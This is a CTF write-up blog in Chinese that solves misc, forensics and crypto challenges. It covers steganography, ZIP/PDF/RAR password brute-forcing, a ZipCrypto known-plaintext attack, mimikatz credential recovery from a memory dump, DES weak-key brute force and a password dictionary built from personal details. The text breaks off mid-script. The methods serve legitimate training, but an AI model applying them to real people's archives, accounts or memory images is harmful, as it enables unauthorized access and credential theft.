imgs/image-20241229105440827.png

然后解压发现需要密码,因此我们尝试使用弱密码字典爆破,爆破得到解压密码:1234

imgs/image-20241229105601835.png

然后解压得到一个TXT文件,vscode打开发现全是换行符和TAB

imgs/image-20241229105847149.png

上面没有发现什么信息,然后尝试了Snow和WhiteSpace也没有发现什么,因此尝试用010打开

imgs/image-20241229110123007.png

发现只有0D0A09这两种字符,因此很容易就能联想到要转换为二进制

直接CyberChef转换一下即可得到flag:DASCTF{dmF1Swofv__hpDYa52y6g4eGJEt_KX}

imgs/image-20241229110612714.png

题目名称 Misc-1

附件给了一张PNG图片,010打开发现有报错,拉到最后面发现图片末尾藏了一个PDF文件

imgs/image-20241229131712409.png

手动把PDF文件提取出来,打开发现需要密码

imgs/image-20241229131730152.png

直接使用pdfcrack弱密码字典爆破一下即可得到密码:qazwsx123,打开即可得到flag:flag{Misc_iS_S0eAsy!}

imgs/image-20241229131736993.png

imgs/image-20241229131756212.png

题目名称 654321

附件给了一张PNG图片,010打开发现报错,发现图片末尾藏了一个RAR压缩包

imgs/image-20241229151425356.png

手动提取出来并解压,得到一个hint.docx,里面的内容如下

imgs/image-20241229151527679.png

提示了Image steganography这个工具,然后结合图片名字654321,猜测这个就是解密的密码

因此使用Image steganography解密即可得到flag:zjctf{060cdc53440dde37f2d48c33da37113b4d95a458}

imgs/image-20241229151648420.png

题目名称 真实的CTF(WgpSecTeam)

题目名称 丢失的关键基础设施固件

题面信息如下:

丢失的关键基础设施固件

尝试从内存镜像中找回丢失的固件,并从固件中找到关键信息

附件给了一个memdump.raw内存镜像,直接R-stdio打开先粗略的看一遍

发现在Develop用户的桌面上有个secret.zip和两个压缩和解压的exe

imgs/image-20241229110931697.png

因此尝试用vol2把桌面上这几个文件提取出来(但是好像zip.exe是提取不出来的)

imgs/image-20241229111842695.png

提取出来后发现需要解压密码

imgs/image-20241229112038934.png

我们使用mimikatz插件可以爆破出develop用户的密码:!Qaz@Wsx,但是不是压缩包的解压密码

imgs/image-20241229112325533.png

然后在iehistory中可以知道丢失的固件名称为红绿灯固件.txt

imgs/image-20241229120047938.png

imgs/image-20241229120112436.png

回头仔细看那个压缩包,发现是Store+Zipcrypto,因此可以用PNG的文件头进行明文攻击

用bkcrack明文攻击后即可得到最后的flag

题目名称 QRSACode

题面信息如下

描述:p = 13,q = 19,e = ?

解压附件给的压缩包,可以得到如下两张图片,其中task.png中隐约可以看到一张二维码

imgs/image-20250818213344866.png

然后结合题面的信息,我们知道在RSA中e要和phi互质,其中phi=(q-1)*(p-1)

因此我们可以写个脚本得到e所有可能的取值范围

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import gmpy2

def cal_e():
    p = 13
    q = 19
    phi = (p - 1) * (q - 1)
    res = [e for e in range(2, 256) if gmpy2.gcd(e, phi) == 1]
    # print(len(res)) # 84
    # print(res)
    return res

得到e所有可能的取值如下,一共84种可能取值:

1
[5, 7, 11, 13, 17, 19, 23, 25, 29, 31, 35, 37, 41, 43, 47, 49, 53, 55, 59, 61, 65, 67, 71, 73, 77, 79, 83, 85, 89, 91, 95, 97, 101, 103, 107, 109, 113, 115, 119, 121, 125, 127, 131, 133, 137, 139, 143, 145, 149, 151, 155, 157, 161, 163, 167, 169, 173, 175, 179, 181, 185, 187, 191, 193, 197, 199, 203, 205, 209, 211, 215, 217, 221, 223, 227, 229, 233, 235, 239, 241, 245, 247, 251, 253]

然后我们尝试去读取hint.png中的像素点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def func1():
    dic = {}
    img1 = Image.open("hint.png")
    width,height = img1.size # 50 50
    for y in range(height):
        for x in range(width):
            pixel = img1.getpixel((x,y))
            if pixel not in dic:
                dic[pixel] = 1
            else:
                dic[pixel] += 1
    # print(len(dic)) # 2496
    print(dic)

发现2500个像素点中有2496种像素,并且只有以下两种像素出现了2次,别的像素都是只出现一次

1
2
(133, 167, 215): 2
(31, 163, 119): 2

我们把所有像素打印出来可以发现,每个像素的RGB值都是取自我们之前得到的e的取值范围中

然后我们再去看task.png,发现图像时RGBA格式的,只不过A通道的值都是255

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def solve():
    dic = {}
    img1 = Image.open("task.png")
    width,height = img1.size # 50 50
    for y in range(height):
        for x in range(width):
            pixel = img1.getpixel((x,y))
            if pixel not in dic:
                dic[pixel] = 1
            else:
                dic[pixel] += 1
    # print(len(dic)) # 1112
    # print(dic)

发现一共有1112种不同的像素

并且背景接近白色的像素点的RGBA的值为(246, 246, 246, 255),黑色像素点的RGBA值为(0, 0, 0, 255)

后来在 @Aura 师傅的帮助下,发现了其实图片中的每个像素的每个RGB的值都是RSA加密中的参数

因为我们之前得到了,hint.png中每个像素的每个RGB值都在e的取值范围中

然后hint.pngtask.png的长宽是一样的,也就是说像素的个数以及RGB值的个数也是一样的,所以是一一对应的

因此我们可以联想到,把每个像素的每个RGB值都做一次RSA解密,hint.png中的是etask.png中的是密文c

最后把我们RSA解密得到的m转为RGB值塞回图像中即可复原出二维码,扫码即可得到最后的flag:DASCTF{R54_W1th_Cv_1s_Fun}

imgs/image-20250818213430714.png

imgs/image-20250818213401070.png

最终的解题脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from PIL import Image
import gmpy2
import numpy as np

p = 13
q = 19
n = p * q # 247
phi = (p-1)*(q-1) # 216

def get_e():
    e_list = []
    img1 = Image.open("hint.png")
    width,height = img1.size
    for y in range(height):
        for x in range(width):
            pixel = img1.getpixel((x,y))
            for item in pixel:
                e_list.append(item)
    print(len(e_list))
    return e_list

def func1(e_list):
    c_list = []
    m_list = []
    img1 = Image.open("task.png")
    width,height = img1.size # 50 50
    for y in range(height):
        for x in range(width):
            r,g,b,a = img1.getpixel((x,y))
            c_list.append(r)
            c_list.append(g)
            c_list.append(b)
    print(len(c_list))
    for idx,e in enumerate(e_list):
        c = c_list[idx]
        d = gmpy2.invert(e, phi)
        m = pow(c, d, n)
        m_list.append(m)
    print(len(m_list))
    pixel_array = np.array(m_list, dtype=np.uint8).reshape((height, width, 3))
    img2 = Image.fromarray(pixel_array, mode="RGB")
    img2.save("decrypted.png")
    print("[+] 处理完成,已保存为 decrypted.png")
    
if __name__ == "__main__":
    e_list = get_e()
    func1(e_list)

题目名称 to(2025天山固网)

题目附件给了一个pcapng流量包

翻看流量包,发现有一个falg.rar

imgs/image-20250817224525993.png

尝试打开,发现需要密码,因此猜测我们还需要到流量包中寻找解压密码

我们先将所有http对象导出,然后依此查看

可以在hello.html中找到如下内容

imgs/image-20250817224708469.png

一开始以为是密码字典,但是经过尝试发现并不是

在导入过程中发现了这些字符组成了一个42x42的矩阵(正方形->猜测是二维码)

然后发现最外围一圈全是小写字母,因此尝试把大小写字母转为0和1,再转为二维码可以得到下图

imgs/image-20250817225004671.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from PIL import Image

def save_binary_to_png(data_str, out_file="output.png", scale=10):
    h = 42
    w = 42
    img = Image.new("L", (w, h))
    for y in range(h):
        for x in range(w):
            ch = data_str[y * w + x]
            if ch == "1":
                img.putpixel((x, y), 0)     # 黑色
            else:
                img.putpixel((x, y), 255)   # 白色
    if scale > 1:
        img = img.resize((w*scale, h*scale), Image.NEAREST)

    img.save(out_file)
    print(f"[+] Saved: {out_file}")

def solve():
    flag = ""
    data = '''
    xwsoawzfknojzwejkrmsewynkoichlsgxiduinsklf
    yPZUIQGHEadEGfohHeISleDsLvqleMaryIMUPMEAIc
    aOzezoevMpeIZmUABHDDQNAFwhgqynYtbAntvgbhNq
    dReTZSEuOjxCVRNGDvfzDZQmTTDZPfQwwYkEIEToDu
    cFrJVUCvBndOJRMFXppxMSVmYQSINrLrzUyIKPBuMv
    vJfLLPIgUnhjaFaiDafXIZnWlspnBSwmbSqKNGEjJt
    lEfHPSMrKmpoZlolmYamKOJARccoxlMonFrNAXUuOs
    tTrknqbzUnuTZAnzYlQxAJKUXhEHbxkgxOdbzcvbPe
    fLKJSSGZVsiXyIoqKgBgPBuZhXuqZpEtsJDENSSUKh
    zkyintuqwjfHOYCSiFSCbfMvTjYBlhDfgzfwryxfxf
    mgorlmjgqwiYEKEOcHVGzcCdKfXTwiFyyxakvffvmb
    pypIOXBuYdmRHfKYkqfkJEWrcqdwCaGDTETtdTYLBc
    qaOYZtXKgnqLqTvbGWFfNABIULxdzJrNFWfjqglGLa
    kpifniZqGmtGcwkwTbInapWDUSndLmYCEaRwbIZQjf
    zcRsskImaaktyaAEQCYwEMgfsmqowSXguEcjFUYacy
    cuXfchFnhrmppjNPDIPrZMtrkjfjaGZblQmhPVIxbu
    wPZJICEiALOANFwaIEgsFIMMceQFWCNOMfJvzpjtYw
    dOGMXoZPwERhAronbdWtURHrKuvhzOrhqExMCncXTp
    uEadoMPxWdqiqKQQydQgHIcDQSxsisEQQtBArnfWaq
    yZdNMVOQiLEqkIIEsWNgNGWknoAXlrSzymkMEiloNo
    jpxBPJKXTKYWuIjvvDvNqzwPShhhFYRUQcSQlRQaOf
    acjTBNFPQFZMsZrjzMjZcbhIHnmmCGYNMvEHtKMvHj
    aJXVLJrWbxufHmcoDjPXitiddVvrxBjtgOwjvWPqwc
    tpUvbIGZJnyxhYyxwYlxMLtfMRfvgjjebtaKNmvzhq
    fBfXVdAcmHHLJIKJaEHkuyJBHlOCkhUOKiDtBDMXKf
    niUOLbjbYgtDYqDQadcIhqsmoiszAgTkhzRHTgrtfu
    jFqyrqOtlrlBxKfoqzOlPDigEKIVowuVNtwowQTzNe
    wDpqogPjgpiInPbeycJfLKnpYSQRffcQAgbiqVHaHx
    zKsSVYWXDOCyxpIAPQyAXClurmQIPVRaawZlXysWwh
    aVibdxPPcwlVJzpvslGfLWnshkROmZsNVDwiYVCyOz
    cPdMGJHtWYDqWhhcCknGusYXZJqmVXVKRPSAsqvpKt
    kdbjynqdekdZseNYrEqYLFePAJDYYwHinccQndztIh
    mfsqtjkdxcsDaaUJuGfFCPiUEYOBUsKpfggIjyvuJp
    tJKWKWSHHokapfecpGfuyisXziSDkZPxhOoHMukVnk
    rLfpalbeTxacxFRHRpHZftGjtMXTOKYsrckHBBCCPo
    sXcHKNJkOgxURfidXZthchdBoTJTqbFYRJVIZemdXm
    oTbCRVEoQyhZYSQCaVrsNLpEWlckAsoXVvOPuNDGsv
    yTfMQCVxBiyTvvNRMibBGFDDNltjJOChlNpjALBoos
    lKoUHLBdFveKvzFPBwvLTVQHDypjNOGxrJdaDIBdnh
    rSobpwjtYkmwwawtRrHrFPMgzfobhntphVbFcAJmvn
    nHHKBFFGMzywuXjwZDgtqnPQRWJPQBVlhqPdJFTJcc
    bpvrwdbuhrgrgackekaotpwbeclbnlamzzuhrqmwjg
    '''
    for i in range(len(data)):
        if data[i] >= 'a' and data[i] <= 'z':
            flag += '0'
        elif data[i] >= 'A' and data[i] <= 'Z':
            flag += '1'
    # print(flag)
    save_binary_to_png(flag)


if __name__ == "__main__":
    solve()

虽然这个二维码有点问题,但是用微信扫码可以得到:ssdsahjkhsdfhhkjjhksdfjhds

但是这个也不是压缩包的解压密码,因此我们回头继续看流量包

发现还传了一张jpg图片,并且jpg图片中有提示:I've heard of Dvorak

imgs/image-20250817225336021.png

Dvorak是一种键盘布局,详细内容可以看我博客里的 Misc Guide

因此结合之前得到的内容,猜测我们需要把扫码得到的字符串转换到Dvorak上

或者是把扫码得到的字符串从Dvorak转换过来,我这里就直接写个脚本转了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
qwerty_lower = r"""qwertyuiop[]\asdfghjkl;'zxcvbnm,./"""
dvorak_lower = r"""',.pyfgcrl/=\aoeuidhtns-;qjkxbmwvz"""

qwerty_upper = r"""QWERTYUIOP[]\ASDFGHJKL;'ZXCVBNM,./"""
dvorak_upper = r""""<>PYFGCRL?+|AOEUIDHTNS_:QJKXBMWVZ"""

# 构建映射字典
d2q = str.maketrans(dvorak_lower + dvorak_upper,
                    qwerty_lower + qwerty_upper)

q2d = str.maketrans(qwerty_lower + qwerty_upper,
                    dvorak_lower + dvorak_upper)

def dvorak_to_qwerty(text: str) -> str:
    return text.translate(d2q)

def qwerty_to_dvorak(text: str) -> str:
    return text.translate(q2d)

if __name__ == "__main__":
    text = "ssdsahjkhsdfhhkjjhksdfjhds"
    print(dvorak_to_qwerty(text))
    print(qwerty_to_dvorak(text))
    # ;;h;ajcvj;hyjjvccjv;hycjh;
    # ooeoadhtdoeuddthhdtoeuhdeo

其中 ooeoadhtdoeuddthhdtoeuhdeo 就是rar的解压密码

解压后即可得到最后的flag:DASCTF{jhughudshhjg_qiwjains_jsmka}

题目名称 数字雨(2025天山固网)

题目附件给了下面这张PNG(图片比较大,有40多兆,因为宽高是6000x4000)

imgs/image-20250817223412543.png

我们用PS打开查看,发现每一列都有长度为80的同一绿色像素(18, 255, 2)

imgs/image-20250817223617268.png

如果做过b01lers的image_adjustments这道题的师傅肯定一眼就知道图片的意图是啥了

就是要我们为每列像素加一个偏移量,让每一列中的这80个绿色像素都对齐

具体原理和步骤可以参考的我的另一篇博客:2020 b01lers Misc image_adjustments 赛题详解

写个脚本对齐后,就可以得到下图

imgs/image-20250817223934477.png

我们再次用PS打开查看

imgs/image-20250817224022930.png

发现这次是每一行有80个同一绿色像素(18, 255, 2)了,因此我们和上面一样

尝试计算偏移量并对齐每一行的绿色像素即可得到最后的flag: DASCTF{herE_c0mes_thE_D1g1taL_ra1n}

imgs/image-20250817224156497.png

最后附上完整的解题脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import numpy as np
from PIL import Image

def process_image_cols(input_path, output_path):
    # 打开图像并转换为NumPy数组
    img = Image.open(input_path)
    img_array = np.array(img)
    h, w = img_array.shape[:2]

    green_pixel = np.array([18, 255, 2], dtype=img_array.dtype)
    
    for x in range(w):
        # 获取当前列的所有像素
        column = img_array[:, x, :].copy()
        
        # 尝试所有可能的偏移量
        for i in range(h):
            # 应用偏移
            shifted_column = np.roll(column, i, axis=0)
            img_array[:, x, :] = shifted_column
            # 检查前80行是否都是绿色像素
            if np.all(img_array[:80, x, :] == green_pixel):
                print(f"[+] {x} 列偏移量调整完毕: {i}")
                break
    
    # 将NumPy数组转换回PIL图像并保存
    result_img = Image.fromarray(img_array)
    result_img.save(output_path)
    result_img.show()

def process_image_rows(input_path, output_path):
    # 打开图像并转换为NumPy数组
    img = Image.open(input_path)
    img_array = np.array(img)
    h, w = img_array.shape[:2]
    
    green_pixel = np.array([18, 255, 2], dtype=img_array.dtype)
    
    for y in range(h):
        current_row = img_array[y, :, :].copy()
        
        # 尝试所有可能的水平偏移量
        for shift in range(w):
            shifted_row = np.roll(current_row, shift, axis=0)
            
            # 检查前80个像素是否全部是绿色
            if np.all(shifted_row[:80] == green_pixel):
                print(f"[+] {y} 行偏移量调整完毕: {shift}")
                img_array[y, :, :] = shifted_row
                break
    
    result_img = Image.fromarray(img_array)
    result_img.save(output_path)
    result_img.show()

if __name__ == "__main__":
    process_image_cols('img.png', 'col_solved.png')
    process_image_rows('col_solved.png','flag.png')

题目名称 capture(2025年浙江省信息通信业职业技能竟赛-数据安全管理员竞赛决赛)

题目附件给了一个很小的pcapng流量包(27kb)

imgs/image-20250818225242004.png

打开翻看发现是100个UDP数据包,然后看样子是传了json一样的数据

因此我们可以直接 strings capture.pcapng > 1.txt 把里面的内容导出来

导出来后,手动删去干扰的字符,可以得到如下内容:

imgs/image-20250818225541825.png

提示了是DES-xxx加密算法,并且用了四个不同的密钥

仔细观察可以发现,每个密文的前面部分内容都是一样的

因此猜测明文的开头是一样的,并且key_id相同的密文,用的密钥也是一样的

之前就听说过DES是由于安全性而被AES所替代了,并且在网上搜索过程中发现了下面这篇文章:

https://noob-atbash.github.io/CTF-writeups/cyberwar/crypto/chal-5.html

尝试用文中的四个弱密钥去解密,发现有一半的数据可以正常解出来

并且可以得到解密后明文的开头是 FLAG_HEADER:DATA

然后仔细看了这篇帖子后,尝试用 \x00 \xFF \xF0 \x0F \x1E \xE1 去生成密钥爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Cipher import DES
from itertools import product
from base64 import b64decode

BYTES = [b'\x1E', b'\xE1', b'\xF0', b'\x0F', b'\x00', b'\xFF']

def generate_keys():
    byte_combinations = product(BYTES, repeat=8)
    for combo in byte_combinations:
        yield b''.join(combo)

def brute_force_decrypt(encrypted_data):
    for key in generate_keys():
        cipher = DES.new(key, DES.MODE_ECB)
        try:
            decrypted = cipher.decrypt(encrypted_data)
            if decrypted.startswith(b"FLAG"):
                print(f"Found valid key: {key}")
                print(f"Decrypted data: {decrypted}")
                return key
        except:
            continue
    return None

encrypted_data = b64decode("ftNbIBh+yU8rzOhvbAplhB1hoQkblsKa+uGaNnTudD2LGw0+5fOHXycXZDujJFWwHZjIg5bfDpKFsqI18Ts7ZGG8dpqWAzar")
found_key = brute_force_decrypt(encrypted_data)
if not found_key:
    print("No valid key found.")

发现一会就能爆破出密钥,用得到的密钥去解密即可得到最后的flag:flag{9adee0d8d9db40fc99e8366bf2bd474d}

imgs/image-20250818230628193.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import DES
from base64 import *

key_list = [b"\x1E\x1E\x1E\x1E\x0F\x0F\x0F\x0F",b"\xE1\xE1\xE1\xE1\xF0\xF0\xF0\xF0",b"\xff\x00\xff\x00\xff\x00\xff\x00",b"\x00\xff\x00\xff\x00\xff\x00\xff"]

def solve():
    with open('2.txt','r') as f:
        data = f.read().split()
    for item in data:
        ciphertext = b64decode(item)
        for KEY in key_list:
            a = DES.new(KEY, DES.MODE_ECB)
            plaintext = a.decrypt(ciphertext)
            # print(plaintext)
            if b"FLAG" in plaintext:
                print(plaintext)
                # print(f"[+] 用密钥 {KEY} 解密成功:\n{plaintext}")   

if __name__ == "__main__":
    solve()

题目名称 带密码的zip(中国铁塔内部选拔赛)

imgs/image-20250821101548417.png

题面信息如下:

小明把qq密码存在了一个txt文档里,并且将其进行了zip压缩;

不过小明忘记了解压密码,只记得密码是自己个人信息的组合

你能帮小明找回密码吗?

已知:

姓名 xiaoming

生日 19901002

邮箱 xm1990@163.com

手机 13351231732

imgs/image-20250820233514709.png

根据题面信息,直接写个脚本生成字典,然后爆破压缩包密码即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import itertools


elements = ['xiaoming', '19901002', 'xm1990@163.com', '13351231732']
all_passwords = []

for r in range(1, len(elements)+1):
    # 选择大小为r的子集
    for subset in itertools.combinations(elements, r):
        # 对每个子集生成所有排列
        for perm in itertools.permutations(subset):
            # 将排列连接成一个字符串
            password = ''.join(perm)
            all_passwords.append(password)

print(f"[+] 总共生成了 {len(all_passwords)} 种可能的密码")

with open('possible_passwords.txt', 'w') as f:
    for p in all_passwords:
        f.write(p + '\n')

imgs/image-20250821101430940.png

输入密码解压后即可得到最后的flag:nsfocus{xiaoming13351231732}

题目名称 安全杂项1(交通运输行业大赛)

解压附件压缩包,得到一个wav音频和一个加密的压缩包

imgs/image-20250821104833581.png

用audacity打开音频查看频谱图,调一下频率上下限和灰度显示

可以得到压缩包解压密码的正则

imgs/image-20250821105003952.png

imgs/image-20250821105009023.png

然后掩码爆破即可得到压缩包的解压密码:Kaelin0808

imgs/image-20250821105026931.png

用得到的密码解压后,msg.txt中的内容是一串emoji

1
👝👣👘👞👲👛👜🐰🐩👘👛👜🐪🐤🐫🐬👚🐭🐤🐮🐩👙🐯🐤🐩👝👝👛🐤👝🐭👚👚👙🐨👚🐧🐪👛👛🐪👴

直接base100解密即可得到最后的flag: flag{de92ade3-45c6-72b8-2ffd-f6ccb1c03dd3}

imgs/image-20250821105123189.png

题目名称 file.png(某内部赛)

解压附件压缩包,得到一张file.png,直接拿zsteg扫一下

imgs/image-20250823102547525.png

发现LSB中隐写了一张PNG图片,尝试用zsteg -e b3,bgr,lsb,xy file.png > out.png命令导出

可以得到下面这张图片

imgs/image-20250823102655772.png

010打开,发现末尾藏了一个压缩包

imgs/image-20250823102741443.png

提取出来解压或者直接在010中提取,即可得到最后的flag:flag{Least_Significant_Bit_Steganography}

题目名称 easy_crypto

解压附件压缩包,可以得到一个key.txt还有一个加密的flag.rar

key.txt中的内容如下:

1091091153210977773210977109457732774646324677831153277464546324611511545838377321098377

将数字分割到32-126范围上转ASCII,然后再大小写 m 转成 - ,大小写 s 转成 . ,解摩斯得到压缩包解压密码:GO0DLC$K

imgs/image-20250823103211907.png

解压rar后得到一个多层base64套娃,循环解base64即可得到flag:DASCTF{a3dcb4d229de6fde0db5686dee47145d}

imgs/image-20250823103458023.png

题目名称 new

解压附件压缩包,可以得到下面这张PNG图片

imgs/image-20250823163151360.png

先用zsteg梭一把,发现没有啥特别的东西

imgs/image-20250823163252179.png

然后拿stegsolve去看,发现 R0 G0 B0 都有明显LSB隐写的痕迹

imgs/image-20250823163407581.png

imgs/image-20250823163425323.png

imgs/image-20250823163439246.png

因此尝试提取图中的LSB数据,在位顺序选择LSB优先时可以发现JPG图片的文件头

imgs/image-20250823164657070.png

提取出来并删去前面多余数据后,即可得到最后的flag:flag{054e676ef5f0de537ebe6604fadaf0fc}

imgs/image-20250823164322947.png

这道题为啥用zsteg没法识别出来jpg呢?因为题目在隐写的jpg图片前添加了一些干扰数据

题目名称 安全杂项10 (交通运输行业大赛)

解压附件压缩包可以得到下面这张PNG

imgs/image-20250824104656438.png

仔细观察可以发现图片下面这几行的像素是有问题的

然后我们拿zsteg扫的时候,发现也报错了,说明图片肯定是经过篡改的

imgs/image-20250824104751856.png

因此我们拿pngcheck来检查一下图片,发现图片确实是被篡改了

imgs/image-20250824104822719.png

到这里,就猜测这道题考察的可能是PNG的IDAT隐写

所以我们拿010把PNG的最后一个IDAT块提取出来,并用Cyberchef解压一下

imgs/image-20250824105034862.png

imgs/image-20250824105053395.png

解压后即可得到密文和密钥,并且密钥是8字节的

经过尝试发现RC4解密即可得到最后的flag:flag{edb99a94-f84d-e175-8a7d-e7f658789447}

imgs/image-20250824105235178.png

题目名称 file2

解压附件压缩包,得到一个camera.png还有一个flag.zip

flag.zip中的文件如下

imgs/image-20250824181312451.png

一眼明文攻击,010打开发现标志位是0x14,因此猜测是Bandizip或者WinRAR压缩的

imgs/image-20250824181522089.png

经过尝试,发现Bandizip不行,用WinRAR压缩的能正常明文攻击

imgs/image-20250824181627646.png

用修改后的密码123解压即可得到flag:flag{33fe6D4cE7MLd}

imgs/image-20250824181716085.png

题目名称 二维码画图

附件给了下面这张jpg

imgs/image-20250824181820652.png

010打开发现末尾藏了一个文件头被篡改的rar压缩包

imgs/image-20250824181904776.png

提取出来并把文件头修复 Rar!(52617221) ,解压可以得到很多个0和1的嵌套目录

imgs/image-20250824182037937.png

imgs/image-20250824182119059.png

目录最底层是一个 _ 文件,其中是二进制数据,根据题目名称,猜测就是二进制转二维码

写个脚本提取并转换一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import os
import sys
from PIL import Image

def dfs_traverse(current_path, contents):
    """使用DFS遍历目录并提取_文件内容"""
    # 检查当前路径是否有_文件
    underscore_file = os.path.join(current_path, "_")
    if os.path.exists(underscore_file):
        try:
            with open(underscore_file, 'r') as f:
                contents.append(f.read().strip())
        except Exception as e:
            contents.append(f"Error reading {underscore_file}: {str(e)}")
    
    # 按顺序检查0和1子目录(先0后1)
    for subdir in ['0', '1']:
        subdir_path = os.path.join(current_path, subdir)
        if os.path.exists(subdir_path) and os.path.isdir(subdir_path):
            dfs_traverse(subdir_path, contents)

def extract_file_contents(root_dir):
    """提取目录中所有_文件的内容"""
    contents = []
    dfs_traverse(root_dir, contents)
    return ''.join(contents)

def draw_qrcode(data):
    img = Image.new('RGB', (59, 59))
    w,h = 59,59
    for i in range(len(data)):
        x = i % w
        y = i // w
        if data[i] == '0':
            img.putpixel((x, y), (255, 255, 255))
        else:
            img.putpixel((x, y), (0, 0, 0))
    resized_img = img.resize((590, 590), Image.NEAREST)
    # resized_img.show()
    resized_img.save('qrcode.png')

def main():
    root_dir = './'
    contents = extract_file_contents(root_dir)
    print(contents)
    draw_qrcode(contents)

    # Welcome, Key: 2339649336ce442c

if __name__ == "__main__":
    main()

imgs/image-20250824182241025.png

扫码得到:Welcome, Key: 2339649336ce442c

imgs/image-20250824182330161.png

回头去看提取出来的rar,发现末尾还有一个加密的zip压缩包

imgs/image-20250824182426296.png

提取出来,然后输入之前得到的密码解压即可得到最后的flag:flag{b9c8ab267048488298648cc3793fc498}

题目名称 PIC2

题目附件给了一个伪加密的zip压缩包,去除伪加密后得到一张jpg

010打开发现末尾藏了一张jpg,并且中间还有一串字符

imgs/image-20250825161100104.png

把jpg和中间的字符提取出来,发现这张jpg也和之前的一样藏了jpg和一些字符

imgs/image-20250825161203451.png

我们按照规律依此提取

imgs/image-20250825161413138.png

imgs/image-20250825161431083.png

最后将提取出来的字符base32解码即可得到flag:KEY{b26259f93cbb178944034b7e367c6fa5}

imgs/image-20250825161519274.png

题目名称 flag^galf

题目附件给了一个Ubuntu flag.lime内存镜像

拿到内存镜像,先用R-studio扫一下,发现没有扫到什么特别的信息

imgs/image-20250828100619466.png

然后我们拿010打开内存镜像,尝试搜索几个常见的关键字,并用肉眼去扫一遍

imgs/image-20250828100828915.png

发现出题人用enc.py去加密了一张图片,并且下面的定时任务也提示了我们用的可能是异或的方法

至此我们大概就知道出题人的意图了,因此我们需要尝试从内存镜像中提取出这几张图片和加密脚本

这个需要我们去制作vol2的Profile,然后去进行内存取证(vol3没办法导出文件)

如何制作vol2的Profile可以参考我的这篇博客:Misc-Forensics

做好Profile后,打包为zip放到volatility/volatility/plugins/overlays/linux即可

然后运行python2 volatility/vol.py --info,发现可以正常加载Profile

imgs/image-20250828101336228.png

我们首先看一下命令行中的历史记录,可以看到出题人加密图片的命令

1
python2 ~/CTF/volatility/vol.py -f ubuntu.lime --profile=LinuxUbuntu_4_13_0-36_4_13_0-36_40x64 linux_bash > linux_bash.txt

imgs/image-20250828101607699.png

然后尝试查找并导出这几张加密图片和脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
python2 ~/CTF/volatility/vol.py -f ubuntu.lime --profile=LinuxUbuntu_4_13_0-36_4_13_0-36_40x64 linux_find_file -L | grep "enc.py"

python2 ~/CTF/volatility/vol.py -f ubuntu.lime --profile=LinuxUbuntu_4_13_0-36_4_13_0-36_40x64 linux_find_file -i 0xffff8de7b8c92b18 -O ./enc.py

python2 ~/CTF/volatility/vol.py -f ubuntu.lime --profile=LinuxUbuntu_4_13_0-36_4_13_0-36_40x64 linux_find_file -L | grep "picture.png"

python2 ~/CTF/volatility/vol.py -f ubuntu.lime --profile=LinuxUbuntu_4_13_0-36_4_13_0-36_40x64 linux_find_file -i 0xffff8de7b8dab388 -O ./picture.png

python2 ~/CTF/volatility/vol.py -f ubuntu.lime --profile=LinuxUbuntu_4_13_0-36_4_13_0-36_40x64 linux_find_file -L | grep "encrypt.png"

python2 ~/CTF/volatility/vol.py -f ubuntu.lime --profile=LinuxUbuntu_4_13_0-36_4_13_0-36_40x64 linux_find_file -i 0xffff8de7b8daf708 -O ./encrypt.png

发现enc.py导出来是空的并且内存中找不到ori.png,但是picture.png和encrypt.png可以正常导出

因此结合之前在定时任务中得到的提示,猜测出题人是要我们去分析这个图片异或加密算法了

imgs/image-20250828102814331.png

先尝试写了一个脚本,直接把两张图片的像素异或一下,发现能看到flag的影子,但是不清晰

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from PIL import Image

def func1():
    img1 = Image.open("encrypt.png")
    img2 = Image.open("picture.png")
    w,h = img1.size
    img3 = Image.new("RGB", (w,h))
    for y in range(h):
        for x in range(w):
            r1,g1,b1,a1 = img1.getpixel((x,y))
            r2,g2,b2,a2 = img2.getpixel((x,y))
            r = r1 ^ r2
            g = g1 ^ g2
            b = b1 ^ b2
            a = a1 ^ a2
            img3.putpixel((x,y),(r,g,b,a))
                
    img3.show()
    img3.save("img3.png")

imgs/image-20250828103341050.png

因此,尝试去分析了一下像素的规律,然后发现有部分连续像素点的rgba的异或结果相同

然后尝试缩小了一下异或结果res的范围,发现res>=255的时候(其实就是res==255的时候)

可以得到清晰的flag图像

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def func2():
    img1_pixles = []
    img2_pixles = []
    xor_pixles = []
    img1 = Image.open("encrypt.png")
    img2 = Image.open("picture.png")
    w,h = img1.size
    img3 = Image.new("RGB", (w,h))
    for y in range(h):
        for x in range(w):
            r1,g1,b1,a1 = img1.getpixel((x,y))
            r2,g2,b2,a2 = img2.getpixel((x,y))
            r = r1 ^ r2
            g = g1 ^ g2
            b = b1 ^ b2
            a = a1 ^ a2
